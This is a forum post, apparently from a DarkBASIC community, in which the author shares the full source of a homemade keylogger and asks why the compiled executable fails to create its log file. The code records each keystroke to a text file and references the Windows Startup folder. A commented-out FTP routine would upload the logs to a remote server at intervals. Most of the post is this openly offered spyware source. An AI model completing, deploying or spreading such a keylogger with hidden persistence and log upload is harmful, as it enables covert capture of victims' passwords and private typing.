So a couple days ago, i was reading one of TDK man's lessons and i saw the command keystate(). I researched it more and i wanted to see if i could create a simple keylogger. It can't hide or do anything really malicious; i just wanted to see it in testing.
`Written by NBM
`Date: 2.20.11
set dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Global Log$
Log$ = "LoG.txt"
If File Exist ("LoG.txt")
Delete File "LoG.txt"
Print "File Deleted!"
Else
Print "File could not be deleted!"
Endif
Open to write 1, "LoG.txt"
Print "LoG"
Global RetVal `for a timer
Global Keepress
Wait key
Write String 1, "LoG: The DarkBasic Keylogger!"
Write String 1, "-----------------------------------"
Do
Logee$= ""
If len(Logee$) > 255
Logee$ = "[CLEARED STRING]"
Endif
`Keys to press
If keystate(14) = 1
Logee$ = "[Backspace]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(15) = 1
Logee$ = "[Tab]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(1) = 1
Logee$ = "[Escape]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(57) = 1
Logee$ = "[Spacebar]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(2) = 1 And keystate(42) = 1
Logee$ = "!"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(27) = 1 And keystate(42) = 1
Logee$ = "]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(4) = 1 And keystate(42) = 1
Logee$ = "[#]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(5) = 1 And keystate(42) = 1
Logee$ = "[$]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(6) = 1 And keystate(42) = 1
Logee$ = "[%]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(8) = 1 And keystate(42) = 1
Logee$ = "[&]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(40) = 1
Logee$ = "[']"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(10) = 1 And keystate(42) = 1
Logee$ = "[(]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(11) = 1 And keystate(42) = 1
Logee$ = "[)]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(9) = 1 And keystate(42) = 1
Logee$ = "[*]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(13) = 1 And keystate(42) = 1
Logee$ = "[+]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(12) = 1
Logee$ = "[-]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(52) = 1
Logee$ = "[.]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(53) = 1
Logee$ = "[/]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(11) = 1
Logee$ = "0"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(2) = 1
Logee$ = "1"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(2) = 1
Logee$ = "2"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(4) = 1
Logee$ = "3"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(5) = 1
Logee$ = "4"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(6) = 1
Logee$ = "5"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(7) = 1
Logee$ = "6"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(8) = 1
Logee$ = "7"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(9) = 1
Logee$ = "8"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(10) = 1
Logee$ = "9"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(39) = 1 And keystate(42) = 1
Logee$ = ":"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(39) = 1
Logee$ = ";"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(51) = 1 And keystate(42) = 1
Logee$ = "<"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(13) = 1
Logee$ = "="
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(52) = 1 And keystate(42) = 1
Logee$ = ">"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(53) = 1 And keystate(42) = 1
Logee$ = "?"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(3) = 1 And keystate(42) = 1
Logee$ = "@"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(30) = 1 And keystate(42) = 1
Logee$ = "A"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(48) = 1 And keystate(42) = 1
Logee$ = "B"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(46) = 1 And keystate(42) = 1
Logee$ = "C"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(32) = 1 And keystate(42) = 1
Logee$ = "D"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(18) = 1 And keystate(42) = 1
Logee$ = "E"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(33) = 1 And keystate(42) = 1
Logee$ = "F"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(34) = 1 And keystate(42) = 1
Logee$ = "G"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(35) = 1 And keystate(42) = 1
Logee$ = "H"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(23) = 1 And keystate(42) = 1
Logee$ = "I"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(36) = 1 And keystate(42) = 1
Logee$ = "J"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(37) = 1 And keystate(42) = 1
Logee$ = "K"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(38) = 1 And keystate(42) = 1
Logee$ = "L"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(50) = 1 And keystate(42) = 1
Logee$ = "M"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(49) = 1 And keystate(42) = 1
Logee$ = "N"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(24) = 1 And keystate(42) = 1
Logee$ = "O"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(25) = 1 And keystate(42) = 1
Logee$ = "P"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(16) = 1 And keystate(42) = 1
Logee$ = "Q"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(19) = 1 And keystate(42) = 1
Logee$ = "R"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(31) = 1 And keystate(42) = 1
Logee$ = "S"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(20) = 1 And keystate(42) = 1
Logee$ = "T"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(22) = 1 And keystate(42) = 1
Logee$ = "U"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(47) = 1 And keystate(42) = 1
Logee$ = "V"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(17) = 1 And keystate(42) = 1
Logee$ = "W"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(45) = 1 And keystate(42) = 1
Logee$ = "X"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(21) = 1 And keystate(42) = 1
Logee$ = "Y"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(44) = 1 And keystate(42) = 1
Logee$ = "Z"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(26) = 1
Logee$ = "["
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(43) = 1
Logee$ = "\"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(27) = 1
Logee$ = "]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(7) = 1 And keystate(42) = 1
Logee$ = "^"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(12) = 1 And keystate(42) = 1
Logee$ = "_"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(41) = 1 And keystate(42) = 1
Logee$ = "`"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(30) = 1 And keystate(42) = 0
Logee$ = "a"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(48) = 1 And keystate(42) = 0
Logee$ = "b"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(46) = 1 And keystate(42) = 0
Logee$ = "c"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(32) = 1 And keystate(42) = 0
Logee$ = "d"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(18) = 1 And keystate(42) = 0
Logee$ = "e"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(33) = 1 And keystate(42) = 0
Logee$ = "f"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(34) = 1 And keystate(42) = 0
Logee$ = "g"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(35) = 1 And keystate(42) = 0
Logee$ = "h"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(23) = 1 And keystate(42) = 0
Logee$ = "i"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(36) = 1 And keystate(42) = 0
Logee$ = "j"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(37) = 1 And keystate(42) = 0
Logee$ = "k"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(38) = 1 And keystate(42) = 0
Logee$ = "l"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(50) = 1 And keystate(42) = 0
Logee$ = "m"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(49) = 1 And keystate(42) = 0
Logee$ = "n"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(24) = 1 And keystate(42) = 0
Logee$ = "o"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(25) = 1 And keystate(42) = 0
Logee$ = "p"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(16) = 1 And keystate(42) = 0
Logee$ = "q"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(19) = 1 And keystate(42) = 0
Logee$ = "r"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(31) = 1 And keystate(42) = 0
Logee$ = "s"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(20) = 1 And keystate(42) = 0
Logee$ = "t"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(22) = 1 And keystate(42) = 0
Logee$ = "u"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(47) = 1 And keystate(42) = 0
Logee$ = "v"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(17) = 1 And keystate(42) = 0
Logee$ = "w"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(45) = 1 And keystate(42) = 0
Logee$ = "x"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(21) = 1 And keystate(42) = 0
Logee$ = "y"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(44) = 1 And keystate(42) = 0
Logee$ = "z"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(26) = 1 And keystate(42) = 1
Logee$ = "{"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(27) = 1 And keystate(42) = 1
Logee$ = "}"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(41) = 1 And keystate(42) = 1
Logee$ = "~"
Print Logee$
Write String 1, Logee$:Wait key
Endif
If keystate(83) = 1
Logee$ = "[Delete]"
Print Logee$
Write String 1, Logee$:Wait key
Endif
`RetVal = Timer()
`If RetVal >= 300000 then FTP_Send()
`Funtction FTP_Send()
`Ftp Connect Url, User, Password
`FtpKonnect# = get ftp status()
`If FtpKonnect# = 1
`break
`Else
`Ftp Connect Url, User, Password
`Endif
`Ftp Set Dir "LoGs"
`Filename$ = "LoG" + Str$(Rnd(100)) +".txt"
`Ftp Put File Filename$
`failure# = get ftp failure()
`Ftp disconnect
Sync
Loop
When i compile and run the program, everything works fine. However, when i run the .exe by itself, the files aren't created or deleted. Are there any issues with the code? Also, if posting what could be seen as spyware is illegal with the forum rules, i didn't know.